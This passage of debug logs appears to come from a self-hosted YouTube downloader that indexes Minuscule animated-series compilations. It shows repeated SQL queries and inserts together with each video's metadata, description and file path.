S02E34\n00:21:57 | Snow Fly | S02E51\n00:25:21 | It's a tie! | S02E67\n00:29:02 | The Vegetable Garden | S02E10\n00:32:46 | Away all boarders! | S02E41\n00:36:29 | Down The Chimney | S02E42\n00:40:14 | White As Snow | S02E63\n00:43:51 | Sleep Walker | S02E68\n00:47:15 | Sand Castle | S02E49\n00:50:42 | At Full Speed | S02E27\n00:54:25 | Homeless | S02E02\n00:58:13 | The Hat Of The Medusa | S02E17\n01:01:59 | Metamorphosis | S02E61\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #garden #snail #war #salad #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation", "yTR3JnYV6Tk", 3968, false, 5, "https://www.youtube.com/watch?v=yTR3JnYV6Tk", "/downloads/Miniscule Season 2/2025-11-04 Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation [yTR3JnYV6Tk].mp4", false, ~U[2025-11-04 07:00:53Z]] 22:08:25.238 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=697.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:25.238 [debug] QUERY OK source="media_profiles" db=0.5ms idle=201.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:25.239 [debug] QUERY OK source="media_items" db=0.5ms idle=201.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100348] 22:08:25.240 [debug] Current batch of media processed. Will check again in 1000ms 22:08:26.241 [debug] Current batch of media processed. Will check again in 1000ms 22:08:27.242 [debug] Current batch of media processed. Will check again in 1000ms 22:08:28.243 [debug] Current batch of media processed. Will check again in 1000ms 22:08:29.244 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hop On! | S02E25\n00:03:37 | Zzz In The Metro | S02E53\n00:07:12 | Honey Fly | S02E08\n00:11:02 | Fly Hunting | S02E24\n00:14:36 | The Butterfly Effect | S02E23\n00:17:58 | Valentine's Day | S02E15\n00:21:44 | Snow Fly | S02E51\n00:25:08 | Turbo speed | S02E58\n00:28:33 | Metamorphosis | S02E61\n00:32:03 | At Full Speed | S02E27\n00:35:47 | Trapped | S02E64\n00:39:30 | The Chocolate Chase! | S02E19\n00:43:15 | Sleep Walker | S02E68\n00:46:40 | Down The Chimney | S02E42\n00:50:25 | If Only Lonely | S02E22\n00:54:11 | The Long Road | S02E34\n00:57:54 | The Wing Case | S02E01\n01:01:39 | Love Apple | S02E45\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #butterfly #traffic #crossroad #ladybug #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3957, "filename" => "/downloads/Miniscule Season 2/2025-11-08 Hop On! | Minuscule 🍃 85' Compilation/Hop On! | Minuscule 🍃 85' Compilation [Es5UBeusgdQ].mp4", "id" => "Es5UBeusgdQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Es5UBeusgdQ", "playlist_index" => 15, "timestamp" => 1762628426, "title" => "Hop On! | Minuscule 🍃 85' Compilation", "upload_date" => "20251108"} 22:08:29.245 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=695.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:29.246 [debug] QUERY OK source="sources" db=0.3ms idle=74.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:29.248 [debug] QUERY OK source="media_items" db=1.8ms idle=75.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-08 19:00:26Z], 5] 22:08:29.255 [debug] QUERY OK source="media_items" db=6.2ms idle=77.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hop On! | S02E25\n00:03:37 | Zzz In The Metro | S02E53\n00:07:12 | Honey Fly | S02E08\n00:11:02 | Fly Hunting | S02E24\n00:14:36 | The Butterfly Effect | S02E23\n00:17:58 | Valentine's Day | S02E15\n00:21:44 | Snow Fly | S02E51\n00:25:08 | Turbo speed | S02E58\n00:28:33 | Metamorphosis | S02E61\n00:32:03 | At Full Speed | S02E27\n00:35:47 | Trapped | S02E64\n00:39:30 | The Chocolate Chase! | S02E19\n00:43:15 | Sleep Walker | S02E68\n00:46:40 | Down The Chimney | S02E42\n00:50:25 | If Only Lonely | S02E22\n00:54:11 | The Long Road | S02E34\n00:57:54 | The Wing Case | S02E01\n01:01:39 | Love Apple | S02E45\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #butterfly #traffic #crossroad #ladybug #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Hop On! | Minuscule 🍃 85' Compilation", "408364e9-44bd-44e6-a051-0ff3a259d58a", "Es5UBeusgdQ", 3957, false, 5, "https://www.youtube.com/watch?v=Es5UBeusgdQ", 15, "/downloads/Miniscule Season 2/2025-11-08 Hop On! | Minuscule 🍃 85' Compilation/Hop On! | Minuscule 🍃 85' Compilation [Es5UBeusgdQ].mp4", false, false, false, [], 1, ~U[2025-11-08 19:00:26Z], ~U[2025-12-12 05:08:29Z], ~U[2025-12-12 05:08:29Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hop On! | S02E25\n00:03:37 | Zzz In The Metro | S02E53\n00:07:12 | Honey Fly | S02E08\n00:11:02 | Fly Hunting | S02E24\n00:14:36 | The Butterfly Effect | S02E23\n00:17:58 | Valentine's Day | S02E15\n00:21:44 | Snow Fly | S02E51\n00:25:08 | Turbo speed | S02E58\n00:28:33 | Metamorphosis | S02E61\n00:32:03 | At Full Speed | S02E27\n00:35:47 | Trapped | S02E64\n00:39:30 | The Chocolate Chase! | S02E19\n00:43:15 | Sleep Walker | S02E68\n00:46:40 | Down The Chimney | S02E42\n00:50:25 | If Only Lonely | S02E22\n00:54:11 | The Long Road | S02E34\n00:57:54 | The Wing Case | S02E01\n01:01:39 | Love Apple | S02E45\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #butterfly #traffic #crossroad #ladybug #flies #chase #metro #Minuscule #nature #insects #ladybugs #animatedseries", "Hop On! | Minuscule 🍃 85' Compilation", "Es5UBeusgdQ", 3957, false, 5, "https://www.youtube.com/watch?v=Es5UBeusgdQ", "/downloads/Miniscule Season 2/2025-11-08 Hop On! | Minuscule 🍃 85' Compilation/Hop On! | Minuscule 🍃 85' Compilation [Es5UBeusgdQ].mp4", false, ~U[2025-11-08 19:00:26Z]] 22:08:29.255 [debug] QUERY OK source="sources" db=0.2ms idle=84.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:29.256 [debug] QUERY OK source="media_profiles" db=0.2ms idle=10.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:29.257 [debug] QUERY OK source="media_items" db=0.3ms idle=10.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100788] 22:08:29.257 [debug] Current batch of media processed. Will check again in 1000ms 22:08:30.258 [debug] Current batch of media processed. Will check again in 1000ms 22:08:31.259 [debug] Current batch of media processed. Will check again in 1000ms 22:08:32.260 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Romeo and Antiet | S03E27\n00:12:21 | Night Of The Mandibles | S03E28\n00:39:06 | Ant On The Rocks | S03E17\n00:40:37 | Sow The Wind And Reap The Storm | S03E11\n00:42:15 | A Pea In The Hand Is Worth... | S03E05\n00:43:47 | The Magic Fly | S03E15\n00:45:16 | Blunder | S03E26\n00:46:56 | The Sled and the Ant | S03E25\n00:48:25 | Telecanetic | S03E19\n00:49:54 | The Artist | S03E18\n00:51:39 | A Dream Of Speed | S03E24\n00:53:09 | Mosquito Net | S03E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #conflict #spying #leadership #insects #entomologist #capture #ladybird #Minuscule #nature #ladybugs #animatedseries", "duration" => 3297, "filename" => "/downloads/Miniscule Season 2/2025-11-22 Romeo and Antiet | Minuscule Specials | 60' Compilation/Romeo and Antiet | Minuscule Specials | 60' Compilation [wo0P_r_WzPU].mp4", "id" => "wo0P_r_WzPU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wo0P_r_WzPU", "playlist_index" => 16, "timestamp" => 1763838063, "title" => "Romeo and Antiet | Minuscule Specials | 60' Compilation", "upload_date" => "20251122"} 22:08:32.261 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1089.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:32.262 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1090.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:32.264 [debug] QUERY OK source="media_items" db=1.0ms idle=1091.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 19:01:03Z], 5] 22:08:32.414 [debug] QUERY OK source="media_items" db=149.1ms idle=1093.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Romeo and Antiet | S03E27\n00:12:21 | Night Of The Mandibles | S03E28\n00:39:06 | Ant On The Rocks | S03E17\n00:40:37 | Sow The Wind And Reap The Storm | S03E11\n00:42:15 | A Pea In The Hand Is Worth... | S03E05\n00:43:47 | The Magic Fly | S03E15\n00:45:16 | Blunder | S03E26\n00:46:56 | The Sled and the Ant | S03E25\n00:48:25 | Telecanetic | S03E19\n00:49:54 | The Artist | S03E18\n00:51:39 | A Dream Of Speed | S03E24\n00:53:09 | Mosquito Net | S03E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #conflict #spying #leadership #insects #entomologist #capture #ladybird #Minuscule #nature #ladybugs #animatedseries", "Romeo and Antiet | Minuscule Specials | 60' Compilation", "1d0c9d6e-f689-4633-9811-b1a2e758ae15", "wo0P_r_WzPU", 3297, false, 5, "https://www.youtube.com/watch?v=wo0P_r_WzPU", 16, "/downloads/Miniscule Season 2/2025-11-22 Romeo and Antiet | Minuscule Specials | 60' Compilation/Romeo and Antiet | Minuscule Specials | 60' Compilation [wo0P_r_WzPU].mp4", false, false, false, [], 1, ~U[2025-11-22 19:01:03Z], ~U[2025-12-12 05:08:32Z], ~U[2025-12-12 05:08:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Romeo and Antiet | S03E27\n00:12:21 | Night Of The Mandibles | S03E28\n00:39:06 | Ant On The Rocks | S03E17\n00:40:37 | Sow The Wind And Reap The Storm | S03E11\n00:42:15 | A Pea In The Hand Is Worth... | S03E05\n00:43:47 | The Magic Fly | S03E15\n00:45:16 | Blunder | S03E26\n00:46:56 | The Sled and the Ant | S03E25\n00:48:25 | Telecanetic | S03E19\n00:49:54 | The Artist | S03E18\n00:51:39 | A Dream Of Speed | S03E24\n00:53:09 | Mosquito Net | S03E14\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#love #conflict #spying #leadership #insects #entomologist #capture #ladybird #Minuscule #nature #ladybugs #animatedseries", "Romeo and Antiet | Minuscule Specials | 60' Compilation", "wo0P_r_WzPU", 3297, false, 5, "https://www.youtube.com/watch?v=wo0P_r_WzPU", "/downloads/Miniscule Season 2/2025-11-22 Romeo and Antiet | Minuscule Specials | 60' Compilation/Romeo and Antiet | Minuscule Specials | 60' Compilation [wo0P_r_WzPU].mp4", false, ~U[2025-11-22 19:01:03Z]] 22:08:32.415 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=859.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:32.415 [debug] QUERY OK source="media_profiles" db=0.4ms idle=153.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:32.417 [debug] QUERY OK source="media_items" db=0.7ms idle=153.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101678] 22:08:32.417 [debug] Current batch of media processed. Will check again in 1000ms 22:08:33.418 [debug] Current batch of media processed. Will check again in 1000ms 22:08:34.419 [debug] Current batch of media processed. Will check again in 1000ms 22:08:35.420 [debug] Current batch of media processed. Will check again in 1000ms 22:08:36.421 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Housing Plant Project | S02E26\n00:07:24 | The Annoying Neighbor | S02E28\n00:11:00 | Love Apple | S02E45\n00:14:39 | Trapped | S02E64\n00:18:22 | A Butterfly's Nightmare | S02E20\n00:21:39 | The Iron Monster | S02E33\n00:25:12 | Metamorphosis | S02E61\n00:28:43 | Beehive On A Troll | S02E56\n00:32:13 | The Wing Case | S02E01\n00:35:59 | The Vegetable Garden | S02E10\n00:39:43 | Away all boarders! | S02E41\n00:43:26 | If Only Lonely | S02E22\n00:47:11 | The Hat Of The Medusa | S02E17\n00:50:57 | An Acorn Season | S02E05\n00:54:42 | Patatas Fritas | S02E21\n00:58:28 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #plant #winter #competition #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3772, "filename" => "/downloads/Miniscule Season 2/2025-10-28 Homeless 🎃 Minuscule 🍃 80' Compilation/Homeless 🎃 Minuscule 🍃 80' Compilation [xQPQfuEUDH0].mp4", "id" => "xQPQfuEUDH0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xQPQfuEUDH0", "playlist_index" => 17, "timestamp" => 1761663727, "title" => "Homeless 🎃 Minuscule 🍃 80' Compilation", "upload_date" => "20251028"} 22:08:36.422 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=858.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:36.423 [debug] QUERY OK source="sources" db=0.3ms idle=251.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:36.424 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=252.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-28 15:02:07Z], 5] 22:08:36.430 [debug] QUERY OK source="media_items" db=5.1ms idle=253.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" 